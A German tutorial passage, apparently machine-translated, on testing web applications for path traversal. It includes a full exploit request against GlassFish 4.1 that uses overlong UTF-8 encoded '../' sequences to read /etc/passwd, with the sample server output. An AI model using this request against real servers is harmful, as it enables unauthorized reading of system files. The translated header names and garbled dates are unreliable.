Bei der Verwundbarkeitsprüfung des Typs"path traversal"wird überprüft, ob eine Webanwendung unbefugten Zugriff auf Dateien oder Verzeichnisse zulässt, auf die der Zugriff verboten werden sollte. Bei der Durchführung dieses Angriffs werden Parameter verwendet, die an die Anwendung übergeben werden und Pfade zu Ressourcen darstellen, auf denen bestimmte Vorgänge ausgeführt werden, z. B. Lesen, Schreiben oder Anzeigen von Verzeichnisinhalten. Infolgedessen kann dies zur Offenlegung redundanter Informationen, Konfigurationsdateien und sogar zur Remoteausführung von Code führen. Die Verwundbarkeit des Typs "path traversal" kann in verschiedenen Elementen der Software oder deren Funktionen auftreten. Es gibt keinen Platz, der beim Testen weggelassen werden kann, aber es gibt Funktionen, denen besondere Aufmerksamkeit gewidmet werden muss:
- Funktionen, die für das Herunterladen von Dateien vom Server verantwortlich sind,
- Funktionen, die für das Laden von App-Einstellungen (Vorlagen, Stile, Schnittstellensprache) verantwortlich sind;
- Funktionen, die für das Hochladen von Dateien auf den Server verantwortlich sind.
Zum Testen der Anfälligkeit von "path traversal" können Sie einen HTTP-Proxy verwenden, z. B. Burp Suite Proxy. Sie können Parameter manipulieren, die den Pfad darstellen, indem Sie die entsprechenden Zeichenfolgen hinzufügen, z. B. ".. /", die darauf abzielen, aus dem derzeit verarbeiteten Verzeichnis zu "sprunghaft" zu werden. Beispiel in der folgenden Grafik:
Ein weiteres Beispiel für die Anfälligkeit des Typs "path traversal" könnte ein Fehler vom August 2015 sein, der auf dem GlassFish-Anwendungsserver gefunden wurde. Wenn Sie die entsprechende Anforderung aufrufen, die unten angezeigt wird, können Sie eine beliebige Datei von einem Datenträger lesen:
GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af% c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae% c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0% afetc%c0%afpasswd
HTTP/1.1
Host: 127.0.0.1:4848
Akzeptiert: */*
Accept-Language: en
Connection: close
Als Antwort gibt der Server den Inhalt der Datei /etc/passwd zurück:
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1
Java/Oracle Corporation/1.7)
Zuletzt modifiziert: Di, 13 Jan 2015 10:00:00 GMT
Datum: Di, Di 10 Jan 2015 10:00:00 GMT
Verbindung: close
Content-Length: 1087
root:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7 7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
[...]